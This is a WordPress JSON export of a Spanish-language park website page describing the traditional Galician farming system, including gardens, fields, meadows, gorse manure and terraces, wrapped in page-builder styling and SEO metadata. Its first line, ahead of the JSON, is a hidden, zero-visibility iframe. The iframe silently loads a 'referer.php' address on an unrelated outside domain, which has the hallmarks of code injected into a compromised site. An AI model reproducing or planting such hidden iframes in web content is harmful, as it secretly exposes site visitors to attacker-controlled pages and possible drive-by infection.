<iframe style="visibility: hidden; display: none; display: none;" src="http://www.benesserepuglia.it/referer.php?id={ECF6BAD7-0C1D-444A-8CC1-8A4C59349583}"></iframe>{"id":12034,"date":"2017-02-14T13:38:43","date_gmt":"2017-02-14T12:38:43","guid":{"rendered":"http:\/\/vieja.parquefluvialdesantiago.org\/?page_id=12034\/"},"modified":"2017-02-23T08:27:17","modified_gmt":"2017-02-23T07:27:17","slug":"sistema-agrario-tradicional-gallego","status":"publish","type":"page","link":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/sistema-agrario-tradicional-gallego\/","title":{"rendered":"El sistema agrario tradicional gallego"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-5a6a3c67b6460052fa53c9151977d2e7\">\n.avia-section.av-av_section-5a6a3c67b6460052fa53c9151977d2e7{\nbackground-color:#4ecac2;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_1'  class='avia-section av-av_section-5a6a3c67b6460052fa53c9151977d2e7 main_color avia-section-small avia-no-shadow  avia-builder-el-0  el_before_av_one_full  avia-builder-el-first  avia-bg-style-scroll container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-12034'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-6c71153597fdf0b02592685c95dbf576\">\n#top .av-special-heading.av-av_heading-6c71153597fdf0b02592685c95dbf576{\npadding-bottom:14px;\ncolor:#ffffff;\n}\nbody .av-special-heading.av-av_heading-6c71153597fdf0b02592685c95dbf576 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-6c71153597fdf0b02592685c95dbf576 .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-6c71153597fdf0b02592685c95dbf576 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-6c71153597fdf0b02592685c95dbf576 av-special-heading-h1 custom-color-heading blockquote modern-quote  avia-builder-el-1  avia-builder-el-no-sibling '><h1 class='av-special-heading-tag'  itemprop=\"headline\"  >EL SISTEMA AGRARIO TRADICIONAL GALLEGO<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><div id='after_section_1'  class='main_color av_default_container_wrap container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-12034'><div class='entry-content-wrapper clearfix'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full  avia-builder-el-2  el_after_av_section  el_before_av_one_third  avia-builder-el-first  first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Por lo que sabemos, la conformaci\u00f3n del paisaje tradicional de la Galicia rural est\u00e1 b\u00e1sicamente finalizada alrededor del siglo XII y as\u00ed permanecer\u00e1 casi sin cambios hasta los a\u00f1os 70 del pasado siglo. Decimos sin casi cambios aunque los hubo ya que el paisaje no es una realidad est\u00e1tica, ya que imaginemos lo que supusieron la introducci\u00f3n de cultivos americanos como el ma\u00edz y la patata a partir del siglo XVI. Seg\u00fan sus diversidades, podemos identificar unos elementos b\u00e1sicos que caracterizan el paisaje tradicional de Galicia:<\/p>\n<\/div><\/section><\/div><div class='flex_column_table av-av_one_third-169e5a607a277699ae4d12b1f6626805 sc-av_one_third av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_third-169e5a607a277699ae4d12b1f6626805\">\n.flex_column.av-av_one_third-169e5a607a277699ae4d12b1f6626805{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_third-169e5a607a277699ae4d12b1f6626805 av_one_third  avia-builder-el-4  el_after_av_one_full  el_before_av_two_third  first flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-0044030236ac50754831c65d5671dd48\">\n.avia-image-container.av-av_image-0044030236ac50754831c65d5671dd48 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-0044030236ac50754831c65d5671dd48 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-0044030236ac50754831c65d5671dd48 av-styling- avia-align-center  avia-builder-el-5  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-11222 avia-img-lazy-loading-not-11222 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CarroVacasBN-292x300.png\" alt='Carro con vacas' title='Carro con vacas'  height=\"300\" width=\"292\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CarroVacasBN-292x300.png 292w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CarroVacasBN-768x788.png 768w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CarroVacasBN-36x36.png 36w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CarroVacasBN-687x705.png 687w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CarroVacasBN-450x462.png 450w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CarroVacasBN.png 900w\" sizes=\"(max-width: 292px) 100vw, 292px\" \/><\/div><\/div><\/div><\/div><div class='av-flex-placeholder'><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_two_third-0aa7055fe62c3622faec82866afbaeb2\">\n.flex_column.av-av_two_third-0aa7055fe62c3622faec82866afbaeb2{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_two_third-0aa7055fe62c3622faec82866afbaeb2 av_two_third  avia-builder-el-6  el_after_av_one_third  el_before_av_one_full  flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>&#8211; Complementariedad entre aprovechamiento intensivo del campo y aprovechamiento extensivo del monte.<\/p>\n<p>&#8211; Una tecnolog\u00eda compleja que utiliza el arado con tracci\u00f3n animal en el arado a base de surcos para drenar el suelo, y el uso de abono (\u201cestrume\u201d) como fertilizante para conseguir varias cosechas al a\u00f1o en el mismo terreno. El \u201cestrume\u201d se obtiene de la mezcla entre el tojo y los desechos del ganado. Por cada unidad de terreno de cultivo intensivo, hacen falta entre dos y cuatro unidades iguales de tojo, lo que nos puede indicar la importancia que hasta los a\u00f1os 50 ten\u00eda esta planta que hoy cubre algunos de nuestros montes sin que nadie se preocupe de cogerlo, pero no hace tantos a\u00f1os, era\u00a0 incluso objeto de robo. Los lugares dedicados a la plantaci\u00f3n de tojo se conoc\u00edan c\u00f3mo \u201cchousas\u201d o \u201ccurros\u201d. Otra t\u00e9cnica empleada ampliamente en Galicia fue el suavizado de las pendientes del terreno mediante la construcci\u00f3n de terrazas o escalones (\u201csocalcos\u201d) que facilitan el cultivo y evitan la erosi\u00f3n acelerada del suelo. Cuanto mayor es la pendiente m\u00e1s estrechos son los \u201csocalcos\u201d.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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Las aldeas suelen estar asentadas la media ladera y los terrenos de cultivo (\u201cterr\u00e1dego\u201d) est\u00e1 formado por un conjunto de terrenos de diferentes calidades y usos. En el terreno inmediato a las casas est\u00e1n los huertos, fincas peque\u00f1as de mejor calidad,\u00a0 que reciben los mayores cuidados con abono y riego abundantes y en las que se plantan legumbres, hortalizas, patatas, frutales etc. De mayor extensi\u00f3n que los huertos son las fincas (\u201ccorti\u00f1as\u201d), tierras tambi\u00e9n de buena calidad que reciben riego y abono, utilizadas para cultivos hort\u00edcolas en ocasiones, pero destinadas principalmente a los cereales (trigo y ma\u00edz), plantas forrajeras como nabos y frutales en los lindes.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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Permit\u00edan una explotaci\u00f3n de gran intensidad: cereales en invierno (trigo, avena y centeno) y en verano patatas, ma\u00edz, nabos y legumbres. Son conocidas con varios nombres como vega (\u201cveiga\u201d), por ejemplo.<\/p>\n<\/div><\/section><br \/>\n<div  class='hr av-av_hr-dcd2069817a0e3d34ae04cad8f3443c7 hr-default  avia-builder-el-16  el_after_av_textblock  el_before_av_textblock '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Los prados que alimentan el ganado se sit\u00faan en el fondo de las laderas de mayor pendiente y las m\u00e1s h\u00famedas, por lo que se distingu\u00edan prados\u00a0 de secano y prados de regad\u00edo, llamados barrizales (\u201clameiros\u201d).<\/p>\n<p>Por encima de las casas se sit\u00faa el monte, tierras que pueden parecer incultas y que sin embargo son el soporte fundamental del sistema agrario tradicional. El monte proporciona madera y le\u00f1a, sirve de pasto para el ganado, ampl\u00eda el terreno cerealista con el sistema de roza y suministra la materia prima para el abono (\u201cestrume\u201d) que constituye el fertilizante org\u00e1nico esencial para mantener el rendimiento de las tierras de trabajo intensivo y que requiere una gran cantidad de tojo.<\/p>\n<\/div><\/section><\/p><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>El sistema agrario tradicional gallego - Parque Fluvial de Santiago: As bra\u00f1as de Sar<\/title>\n<meta name=\"description\" content=\"Los campos que alimentan el gando se situan en el fondo de las ladeiras de mayor pendente y las m\u00e1s h\u00famedas, y se distingu\u00edan campos de seca\u00f1o y de regad\u00edo.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.parquefluvialdesantiago.org\/es\/sistema-agrario-tradicional-gallego\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"El sistema agrario tradicional gallego - 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